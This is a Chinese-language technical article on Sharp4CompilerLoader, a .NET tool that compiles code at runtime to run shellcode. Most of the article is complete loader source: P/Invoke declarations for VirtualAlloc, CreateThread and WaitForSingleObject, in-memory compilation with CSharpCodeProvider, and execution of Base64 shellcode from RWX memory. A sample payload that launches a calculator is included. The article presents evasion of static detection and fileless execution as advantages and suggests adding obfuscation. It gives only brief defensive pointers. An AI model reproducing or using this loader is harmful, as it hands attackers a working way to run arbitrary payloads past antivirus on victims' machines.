Sharp4CompilerLoader:通过动态编译混淆代码执行Shellcode
字数 1530 2025-08-22 12:23:12

.NET动态编译与Shellcode注入技术详解

1. 概述

Sharp4CompilerLoader是一种利用.NET动态编译技术实现Shellcode注入的加载器,它通过接收Base64编码的Shellcode字符串,将其注入到本地线程中执行恶意代码。本文将详细解析其核心技术原理和实现方法。

2. Windows API关键函数

2.1 VirtualAlloc函数

VirtualAlloc是Windows API中用于内存分配的核心函数,在.NET中可以通过P/Invoke调用:

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern UInt32 VirtualAlloc(
    UInt32 lpStartAddr,    // 内存起始地址
    UInt32 size,           // 分配内存大小(字节)
    UInt32 flAllocationType, // 分配类型
    UInt32 flProtect       // 内存保护属性
);

参数详解:

  • lpStartAddr:内存起始地址,通常设为0由系统自动选择
  • size:要分配的内存大小
  • flAllocationType:分配类型标志
    • MEM_COMMIT (0x1000):提交物理内存
    • MEM_RESERVE (0x2000):保留虚拟地址空间
  • flProtect:内存保护属性
    • PAGE_EXECUTE_READWRITE (0x40):可执行、可读、可写

DllImport特性说明:

  • SetLastError = true:允许获取通过GetLastError返回的错误代码
  • ExactSpelling = true:要求精确匹配函数名,不自动处理ANSI/Unicode变体

2.2 CreateThread函数

CreateThread用于在目标进程中创建新线程:

[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateThread(
    UInt32 lpThreadAttributes, // 线程安全属性
    UInt32 dwStackSize,        // 初始堆栈大小
    UInt32 lpStartAddress,     // 线程起始地址(函数指针)
    IntPtr param,              // 传递给线程的参数
    UInt32 dwCreationFlags,    // 创建标志
    ref UInt32 lpThreadId      // 接收线程ID
);

参数详解:

  • lpThreadAttributes:线程安全属性,通常设为0
  • dwStackSize:堆栈大小,0表示使用默认大小
  • lpStartAddress:线程开始执行的函数指针
  • param:传递给线程函数的参数
  • dwCreationFlags:创建标志
    • 0:线程创建后立即执行
    • CREATE_SUSPENDED (0x4):创建后挂起
  • lpThreadId:输出参数,接收线程ID

3. .NET动态编译技术

3.1 动态编译流程

private static Assembly BuildAssembly(string code)
{
    Microsoft.CSharp.CSharpCodeProvider provider = new CSharpCodeProvider();
    ICodeCompiler compiler = provider.CreateCompiler();
    CompilerParameters compilerparams = new CompilerParameters();
    compilerparams.GenerateExecutable = false; // 生成DLL而非EXE
    compilerparams.GenerateInMemory = true;    // 内存中编译,不留文件
    CompilerResults results = compiler.CompileAssemblyFromSource(compilerparams, code);
    return results.CompiledAssembly;
}

关键点:

  • CSharpCodeProvider:提供对C#编译器的访问
  • GenerateInMemory = true:提高安全性,避免磁盘残留
  • ICodeCompiler:虽然已过时,但仍可用于兼容性场景

3.2 动态调用方法

public static object function1(string code, string namespacename, 
    string classname, string functionname, bool isstatic, params object[] args)
{
    object returnval = null;
    Assembly asm = BuildAssembly(code);
    object instance = null;
    Type type = null;
    
    if(isstatic) {
        type = asm.GetType(namespacename + "." + classname);
    } else {
        instance = asm.CreateInstance(namespacename + "." + classname);
        type = instance.GetType();
    }
    
    MethodInfo method = type.GetMethod(functionname);
    returnval = method.Invoke(instance, args);
    return returnval;
}

反射调用流程:

  1. 动态编译源代码获取Assembly对象
  2. 根据是否为静态方法决定是否创建实例
  3. 通过反射获取方法信息
  4. 使用MethodInfo.Invoke调用方法

4. Shellcode注入实现

4.1 动态编译的Shellcode执行代码

string code = @"
using System;
using System.Reflection;
using System.Runtime.InteropServices;

namespace Namespace {
    class Program {
        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
        
        [DllImport(""kernel32"")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, 
            UInt32 flAllocationType, UInt32 flProtect);
            
        [DllImport(""kernel32"")]
        private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress,
            IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
            
        [DllImport(""kernel32"")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        
        public void run() {
            byte[] shellcode = Convert.FromBase64String(""" + shellcodeBase64 + @""");
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;
            
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}";

function1(code, "Namespace", "Program", "run", false, null);

执行流程:

  1. 将Base64编码的Shellcode解码为字节数组
  2. 使用VirtualAlloc分配可执行内存
  3. 将Shellcode复制到分配的内存中
  4. 创建线程执行Shellcode
  5. 等待线程执行完成

4.2 Shellcode示例

示例Base64编码的Shellcode(启动计算器):

/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==

5. 技术总结

  1. 动态编译优势

    • 避免静态检测:代码在运行时生成
    • 灵活性高:可根据环境动态调整
    • 无文件落地:GenerateInMemory选项
  2. 注入流程

    • 内存分配 → Shellcode写入 → 线程创建 → 执行
  3. 防御思路

    • 监控动态编译行为
    • 检测VirtualAlloc+PAGE_EXECUTE_READWRITE组合
    • 限制非信任代码的反射调用能力
  4. 扩展应用

    • 可结合混淆技术增强隐蔽性
    • 可分段加载Shellcode规避检测
    • 可适配多种注入技术(如APC注入、线程劫持等)

本技术展示了.NET平台强大的动态能力,同时也提醒了运行时安全监控的重要性。在实际应用中,应严格遵守法律法规,仅用于授权测试和研究目的。

.NET动态编译与Shellcode注入技术详解 1. 概述 Sharp4CompilerLoader是一种利用.NET动态编译技术实现Shellcode注入的加载器,它通过接收Base64编码的Shellcode字符串,将其注入到本地线程中执行恶意代码。本文将详细解析其核心技术原理和实现方法。 2. Windows API关键函数 2.1 VirtualAlloc函数 VirtualAlloc是Windows API中用于内存分配的核心函数,在.NET中可以通过P/Invoke调用: 参数详解: lpStartAddr :内存起始地址,通常设为0由系统自动选择 size :要分配的内存大小 flAllocationType :分配类型标志 MEM_COMMIT (0x1000) :提交物理内存 MEM_RESERVE (0x2000) :保留虚拟地址空间 flProtect :内存保护属性 PAGE_EXECUTE_READWRITE (0x40) :可执行、可读、可写 DllImport特性说明: SetLastError = true :允许获取通过GetLastError返回的错误代码 ExactSpelling = true :要求精确匹配函数名,不自动处理ANSI/Unicode变体 2.2 CreateThread函数 CreateThread用于在目标进程中创建新线程: 参数详解: lpThreadAttributes :线程安全属性,通常设为0 dwStackSize :堆栈大小,0表示使用默认大小 lpStartAddress :线程开始执行的函数指针 param :传递给线程函数的参数 dwCreationFlags :创建标志 0 :线程创建后立即执行 CREATE_SUSPENDED (0x4) :创建后挂起 lpThreadId :输出参数,接收线程ID 3. .NET动态编译技术 3.1 动态编译流程 关键点: CSharpCodeProvider :提供对C#编译器的访问 GenerateInMemory = true :提高安全性,避免磁盘残留 ICodeCompiler :虽然已过时,但仍可用于兼容性场景 3.2 动态调用方法 反射调用流程: 动态编译源代码获取Assembly对象 根据是否为静态方法决定是否创建实例 通过反射获取方法信息 使用MethodInfo.Invoke调用方法 4. Shellcode注入实现 4.1 动态编译的Shellcode执行代码 执行流程: 将Base64编码的Shellcode解码为字节数组 使用VirtualAlloc分配可执行内存 将Shellcode复制到分配的内存中 创建线程执行Shellcode 等待线程执行完成 4.2 Shellcode示例 示例Base64编码的Shellcode(启动计算器): 5. 技术总结 动态编译优势 : 避免静态检测:代码在运行时生成 灵活性高:可根据环境动态调整 无文件落地:GenerateInMemory选项 注入流程 : 内存分配 → Shellcode写入 → 线程创建 → 执行 防御思路 : 监控动态编译行为 检测VirtualAlloc+PAGE_ EXECUTE_ READWRITE组合 限制非信任代码的反射调用能力 扩展应用 : 可结合混淆技术增强隐蔽性 可分段加载Shellcode规避检测 可适配多种注入技术(如APC注入、线程劫持等) 本技术展示了.NET平台强大的动态能力,同时也提醒了运行时安全监控的重要性。在实际应用中,应严格遵守法律法规,仅用于授权测试和研究目的。